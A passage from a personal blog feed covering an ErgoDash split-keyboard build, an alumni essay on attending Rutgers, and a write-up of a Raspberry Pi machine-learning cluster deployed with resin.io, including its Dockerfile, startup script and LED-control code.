    &lt;tr&gt;
      &lt;td&gt;6mm M2 standoffs&lt;/td&gt;
      &lt;td&gt;$3.49&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10mm M2 standoffs&lt;/td&gt;
      &lt;td&gt;$3.49&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;many many M2 screws&lt;/td&gt;
      &lt;td&gt;$12.69&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Cherry MX Stabilizer x2&lt;/td&gt;
      &lt;td&gt;$3.98&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TRRS Jack x2&lt;/td&gt;
      &lt;td&gt;$1.00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TRRS Cable&lt;/td&gt;
      &lt;td&gt;$3.99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Braided USB C cable&lt;/td&gt;
      &lt;td&gt;$5.90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Shipping&lt;/td&gt;
      &lt;td&gt;$4.24&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The project total, irresponsibly ignoring both waste from bad purchases and the cost of non-consumable tools and equipment, comes to around $300.
While that’s not exactly a reassuring number, it &lt;em&gt;is&lt;/em&gt; cheaper than the shelf price on the ErgoDox EZ.&lt;/p&gt;

&lt;h2 id=&quot;assembly&quot;&gt;Assembly&lt;/h2&gt;

&lt;p&gt;This was my first time soldering anything onto a PCB, and it went luckily quite smoothly once I found myself an iron capable of precise temperature control.&lt;/p&gt;

&lt;p&gt;Once the Elite-Cs were flashed and installed, I was able to debug the few bad joins by shorting connections with my tweezers.&lt;/p&gt;

&lt;p&gt;Assembly is fairly straightforward following the official &lt;a href=&quot;https://github.com/omkbd/ErgoDash/blob/master/Doc/build-en.md&quot;&gt;build guide&lt;/a&gt;, so let’s call this bit a visual interlude.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/iron.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;That’s… not supposed to happen, right?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/tape.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Heat resistant tape is super handy for keeping the hotswap sockets in-place when soldering.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/shim.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Cut a piece of cardboard to maintain space between the Arduino and the PCB.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/lube.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Stabilizers for the two long keys were a bit scratchy.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/acrylic.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The laser-cut acrylic came accompanied by a delicious toasty aroma.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/screw.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Tightening the case. The acrylic was too thin and snapped in the thumb cluster.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/assembled.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Functional, with wrist wrests! The combination of the broken plate and the hot-swap sockets made the thumb keys super wobbly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/tented.jpg&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Reinstalled in an aluminum case, with tenting screws.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;layout&quot;&gt;Layout&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://config.qmk.fm/&quot;&gt;QMK Configurator&lt;/a&gt; offers a nice(r) interface for keybinding than editing the config file directly.
For my own, I tried to keep standard where possible (in the interest of ease of adoption and switching to my laptop).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/ergodash/layout1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;/public/ergodash/layout2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I placed my arrow keys in a cross, rather than the proper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HJKL&lt;/code&gt; mirror, which took some time getting used to hopping over an extra column for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/?&lt;/code&gt;.
My single function key then takes the spot liberated to the left, allowing me to do one-handed inputs of the second-layer movement keys.&lt;/p&gt;

&lt;p&gt;My left thumb now shoulders all the standard modifiers – with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl&lt;/code&gt; on the giant key, copy/pasting has never been so satisfying.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Super&lt;/code&gt; I primarily use with the number keys, for switching virtual desktops, which just requires shifting two keys up from the home row.
The single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shift&lt;/code&gt; is likely the most questionable bit of this layout, but I haven’t found it uncomfortable even for capitalizing left-handed letters.&lt;/p&gt;

&lt;p&gt;I placed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Space&lt;/code&gt; on my dominant (right) thumb, since that’s how I’d been typing naturally when given the choice of both. The implication for PC gaming is just to rebind “jump” to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Delete&lt;/code&gt;, resulting in a slightly overcommitted finger sliding between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Delete&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Shift&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Control&lt;/code&gt; which mostly hasn’t gotten in the way (crouch-jumping is something of a nightmare now, though).&lt;/p&gt;

&lt;p&gt;An interesting thing about this PCB design is the area with the furthest two thumb keys are perforated, so we can snap the two keys clean off to get a smaller keyboard.
I notably haven’t found a great use for the extra two thumb keys per hand, so I’ll probably end up moving some of the function-layer keys down onto them.&lt;/p&gt;

&lt;h2 id=&quot;retrospective&quot;&gt;Retrospective&lt;/h2&gt;

&lt;p&gt;I built this keyboard around the time I picked up a decent office chair (a beat up Steelcase Leap V1 which turned out to be twenty years old) and adjustable-height desk for working from home, so a lot of variables changed in my ergonomic setup at once.
The abrupt pandemic-induced dropping of rock climbing may have played a part too?
Some part of all this has worked great though, and typing has been completely comfortable for the first time I can remember.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>State Schools are Nifty!</title>
   <link href="http://revan.io/2016/10/31/state-schools-are-nifty/"/>
   <updated>2016-10-31T00:00:00+00:00</updated>
   <id>http://revan.io/2016/10/31/state-schools-are-nifty</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Guest article for the alumni column in &lt;a href=&quot;https://www.ece.rutgers.edu/sites/default/files/newsletters/ECE_Newsletter_2016.pdf&quot;&gt;my department’s yearly newsletter&lt;/a&gt;, just a touch preachy.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Choosing Rutgers was probably the best decision I made senior year of high school. The peculiar thing about the tech industry is that employers care about what a candidate knows, not which school they attended – certainly more so than in business or law, but also more than in more “traditional” engineering fields. I was confident that I could achieve my goals no matter which university I chose, so I couldn’t justify paying the high prices of the “elite” schools. As an in-state student, Rutgers was a fantastic value – the scholarships only made the choice easier.&lt;/p&gt;

&lt;p&gt;At the time, I was unsure whether I wanted to follow an academic or industry career path: the former would involve undergraduate research and careful GPA preening to prepare for graduate studies, while the latter would entail internships and the self-driven study of practical skills. Fortunately, Rutgers afforded me the luxury to straddle the divide, pursuing both directions through senior year as I continued my soul-searching.&lt;/p&gt;

&lt;p&gt;During semesters, I had the opportunity to contribute to a biomedical research project on stroke rehabilitation using smartphones, and to a computer vision research project on transmitting hidden messages using light (funded by NASA’s NJ Space Grant Consortium). During summers, I interned at a nutrition app startup in New York, and at an online university course startup in Silicon Valley.&lt;/p&gt;

&lt;p&gt;My advice to current students, then, is to muster up the drive to take advantage of the opportunities available at Rutgers. There’s an excellent Computer Science undergrad community which regularly holds workshops, events, and “hackathon” competitions to help beginners pick up essential skills and prepare for technical interviews. And as a large research university, there’s an abundance of projects which would appreciate the contributions of a programmer, if you only reach out to the professor.&lt;/p&gt;

&lt;p&gt;My advice to prospective students, hesitating between Rutgers and pricier private options, is to believe in your ability to develop yourself and shape your career. With motivation, you can achieve as much at Rutgers as at any Ivy.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Building a Distributed Machine Learning Testbench with resin.io on Raspberry Pis</title>
   <link href="http://revan.io/2016/05/25/distributed-ml-with-resinio/"/>
   <updated>2016-05-25T00:00:00+00:00</updated>
   <id>http://revan.io/2016/05/25/distributed-ml-with-resinio</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Guest post for &lt;a href=&quot;https://resin.io&quot;&gt;resin.io&lt;/a&gt; about my senior design project, originally published &lt;a href=&quot;https://resin.io/blog/building-a-distributed-machine-learning-testbench-with-resin-io-on-raspberry-pis/&quot;&gt;here!&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;For our senior design project, we decided to build a testbench for developing and iterating distributed machine learning algorithms of the sort that our adviser studies.
The general idea is to deliver a complete solution based on a python library which hides away lower-level concepts such as networking and synchronization, allowing an academic programmer to focus on the high-level math of their algorithms.&lt;/p&gt;

&lt;p&gt;My teammate Nikhil worked on some high-level algorithm implementations while I worked on the library and tooling. In this post I’ll be explaining how I used resin.io (nominally an Internet of Things platform) and open source tools to take the pain out of my own development process as I built out the library and cluster.&lt;/p&gt;

&lt;h2 id=&quot;hardware-setup&quot;&gt;Hardware Setup&lt;/h2&gt;
&lt;p&gt;The initial plan was to scrounge up the handful of Pis we had around the lab and see what we could do, but the kind folks at resin.io (seriously the best) gifted us a bunch of Raspberry Pi 1 B+s.
These are an older model so each device isn’t particularly powerful, but by sheer number they’re rather impressive.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/resin/grid.jpg&quot; alt=&quot;it&apos;s thankfully hard to tell the difference between the camera grain and the horrifying dust under my bed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I built a 4x4 grid of Pis (shown partially wired here).
Amortizing the cost of the microSD, chargers, cables, and switch, each Pi required approximately $15 of additional hardware.&lt;/p&gt;

&lt;p&gt;I kept the Pis in place by nailing them into a thick piece of Medium-density Fiberboard; two nails at slight angles through the holes in the circuit board worked fine.
Those holes are machine screw size 2.5M, but I couldn’t find any of those at the hardware store.&lt;/p&gt;

&lt;p&gt;The cables were whatever was cheapest on Monoprice, the chargers from Amazon, and the microSD from a lucky $4 for 16GB sale at Staples.
The 24 port switch I salvaged from our lab, but the fan was whiny so I opened the case up for passive cooling instead.&lt;/p&gt;

&lt;h2 id=&quot;software-setup&quot;&gt;Software Setup&lt;/h2&gt;
&lt;p&gt;Imaging the Pis with the resin.io image ended up being one of the most time consuming parts of this project, only because it required constant babysitting.
Three of the twenty microSD cards turned out to be defective, refusing to write (buy extras!), but one by one the 16 working devices showed up on the resin.io console as they powered on.
It sure made me appreciate the time savings of not having to reimage every device to deploy new code!&lt;/p&gt;

&lt;p&gt;Before finding resin.io, I had tried rolling my own deployment solution, which was complicated by our campus internet hiding the devices from the outside world (and parts of our LAN!).
I was working on some weird reverse ssh tunneling scheme where each device would connect to an external server, but keeping the connection alive was a pain and the stock raspbian image unnecessarily bloated for this use case.
After switching to resin.io, though, everything just worked!
The cluster running in my dorm room was even accessible off campus through the resin.io dashboard.&lt;/p&gt;

&lt;p&gt;The dashboard assigns each new device a random unique name.
For the purposes of this project, I had to go through the steps of renaming each corresponding to its position, yielding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi1&lt;/code&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pi16&lt;/code&gt;.
Then, I used the environment variable panel to define a variable on each device, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$DEVICE_ID&lt;/code&gt;, holding the same number.
This way, the same code could be deployed to each device, and specific devices can behave differently depending on their ID.&lt;/p&gt;

&lt;p&gt;The Dockerfile is rather straightforward, pulling the resin.io supplied python base image and install the required packages.
It then copies over the repository, and installs the Zookeeper config.
Note that (presumably due to ARM) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip&lt;/code&gt; seemed to be compiling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;numpy&lt;/code&gt; from source, causing the whole process to take about half an hour (but thankfully Docker caches at each step so the image is rarely built from scratch).&lt;/p&gt;

&lt;div class=&quot;language-Dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; resin/raspberrypi-python:3.4&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;ENV&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; INITSYSTEM on&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get upgrade &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; zookeeperd
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; libzmq3-dev

&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-vv&lt;/span&gt; numpy &lt;span class=&quot;c&quot;&gt;# this takes an hour to run!&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;kazoo
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;pyzmq
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;requests

&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; . /app&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;COPY&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; zoo.cfg /etc/zookeeper/conf/zoo.cfg&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;WORKDIR&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; /app&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;CMD&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; [&quot;./init.sh&quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init.sh&lt;/code&gt; is a runtime script which configures Zookeeper with the device ID (and forcibly restarts it), then runs a demo:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Boot complete.&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;I am device #&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DEVICE_ID&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Launching Zookeeper&quot;&lt;/span&gt;
service zookeeper stop
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$DEVICE_ID&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /var/lib/zookeeper/myid
service zookeeper start

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Starting routing demo&quot;&lt;/span&gt;
python3 /app/geo_routing.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-design&quot;&gt;System Design&lt;/h2&gt;
&lt;p&gt;Each device runs an &lt;a href=&quot;https://zookeeper.apache.org/&quot;&gt;Apache Zookeeper&lt;/a&gt; instance in an overly replicated cluster (this admittedly made more sense when I was working with three devices – I’d consider moving the Zookeeper instance off the cluster to a coordinator server now).
On boot, each device checks in to Zookeeper with its ID:IP mapping, and waits for the rest of the nodes to come online.&lt;/p&gt;

&lt;p&gt;The networking aspect of the library is mostly handled by &lt;a href=&quot;https://github.com/zeromq/pyzmq&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyzmq&lt;/code&gt;&lt;/a&gt;, a lightweight message queue.
I wrote a class that wraps all the networking and marshaling by opening sockets with all the other devices, offering an interface for sending arbitrary python objects to a neighbor (identified by name, rather than by IP).&lt;/p&gt;

&lt;p&gt;The class also tries to simplify synchronization, by providing a function that sleeps the calling thread until the device has received a message from each neighbor, which is a common operation in synchronous algorithms which advance through phases together.&lt;/p&gt;

&lt;p&gt;It all works quite well – for the most part.
As it turns out, trying to obfuscate all synchronization primitives lead to some interesting struggles with the tornado event looper, causing some pretty dense deadlocks.
I still haven’t figured out the cause of one nasty race condition that only surfaces once in a hundred calls.
Whoops…&lt;/p&gt;

&lt;h2 id=&quot;configurable-topologies&quot;&gt;Configurable Topologies&lt;/h2&gt;
&lt;p&gt;One interesting feature is the ability to dynamically change the “wiring” of the cluster by defining which nodes are “neighbors” to which – the networking wrapper will restrict communication to only a device’s neighbors.
I wrote a couple of quick and dirty web interfaces for generating a topology JSON configuration which each device fetches from a server: on the left is a “wired” simulation where clicking between two devices links them, and on the right is a “wireless” simulation where the draggable nodes are connected if they are within signal range.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/resin/topology.png&quot; alt=&quot;Look I know, I&apos;m not a web designer.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is served on an outside DigitalOcean droplet, but as I discovered too late resin.io allows for &lt;a href=&quot;https://docs.resin.io/runtime/runtime/&quot;&gt;public facing device URLs&lt;/a&gt; so it should be possible to serve these UIs directly on the cluster.&lt;/p&gt;

&lt;h2 id=&quot;local-development&quot;&gt;Local development&lt;/h2&gt;
&lt;p&gt;While resin.io made deployments a whole lot easier, I still needed a more practical solution for local development than waiting a full three minutes to realize a python script had a syntax error.
Manually opening terminals on my laptop was a hassle and made cleanup hard.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/tmuxinator/tmuxinator&quot;&gt;Tmuxinator&lt;/a&gt; fit the bill nicely, offering a wrapper on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; allowing for launching configurable sessions.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;c6&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;pre&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;echo &quot;rmr /addr&quot; | zkCli.sh&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ln -sf c6.json topo.json&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;pre_window&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;source env/bin/activate&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;windows&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;nodes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;layout&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;tile&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;panes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=1 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=2 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=3 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=4 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=5 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DEVICE_ID=6 python3 &amp;lt;%= @args[0] %&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this file in the tmuxinator configuration directory, running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mux c6 avg_async.py&lt;/code&gt; will launch the asynchronous averaging script in six tiled terminals, linked in a circular topology.
Killing all the tmux terminals is just a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C-b &amp;amp;&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;led-control&quot;&gt;LED Control&lt;/h2&gt;
&lt;p&gt;One of the cool advantages of using physical hardware is the ability to visualize the workings of the code.
You can override the CPU and disk indicator lights on the Pi, giving you a couple of onboard LEDs, green and red.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;led&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;echo %d | sudo tee /sys/class/leds/led%d/brightness&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;led&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;led&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;echo gpio | sudo tee /sys/class/leds/led%d/trigger&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;led&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;led&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; for green, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; for red, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; for off, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; for on.
Call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init&lt;/code&gt; once to disable the default indicator behavior of the lights.&lt;/p&gt;

&lt;p&gt;This shone nicely in a “geo-routing” demo I prepared, where one Pi would try to send a message to a non-adjacent Pi by bouncing it between neighbors.
By turning on LEDs, one could visualize the path of the message through the grid.&lt;/p&gt;

&lt;h2 id=&quot;endgame&quot;&gt;Endgame&lt;/h2&gt;

&lt;p&gt;We actually couldn’t get the router hooked up at the demo session, but we plugged everything in anyway and pitched as well as we could.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/resin/presentation.jpg&quot; alt=&quot;still confused how this was the only photo to come out of the poster session&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We ended up taking one of the three first place prizes, which was pretty rad.
I wouldn’t recommend anyone use my code outright (there will be regrets), but I’m hoping this writeup will inspire someone to give resin.io a shot even in non-IoT projects!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The project source is on &lt;a href=&quot;https://github.com/revan/RPi-distributed-ML&quot;&gt;GitHub&lt;/a&gt;.
Give me a star or something. Pretty please?&lt;/p&gt;

  &lt;p&gt;Questions? Want to tell me my code is bad? Find me at &lt;a href=&quot;http://revan.io/&quot;&gt;revan.io&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
</content>
 </entry>
 
 <entry>
   <title>Python list comprehensions in MATLAB</title>
   <link href="http://revan.io/2015/10/25/python-list-comprehensions-in-matlab/"/>
   <updated>2015-10-25T00:00:00+00:00</updated>
   <id>http://revan.io/2015/10/25/python-list-comprehensions-in-matlab</id>
   <content type="html">&lt;p&gt;My classes this semester are requiring a whole lot MATLAB, with its …unusual syntax and focus on matrices over loops.&lt;/p&gt;

&lt;p&gt;I was pretty excited to find out &lt;a href=&quot;http://www.mathworks.com/help/matlab/getting-started_buik_wp-3.html&quot;&gt;MATLAB has some basic support for python calling&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I got right to work on getting list comprehensions, a feature I’m dearly missing.&lt;/p&gt;

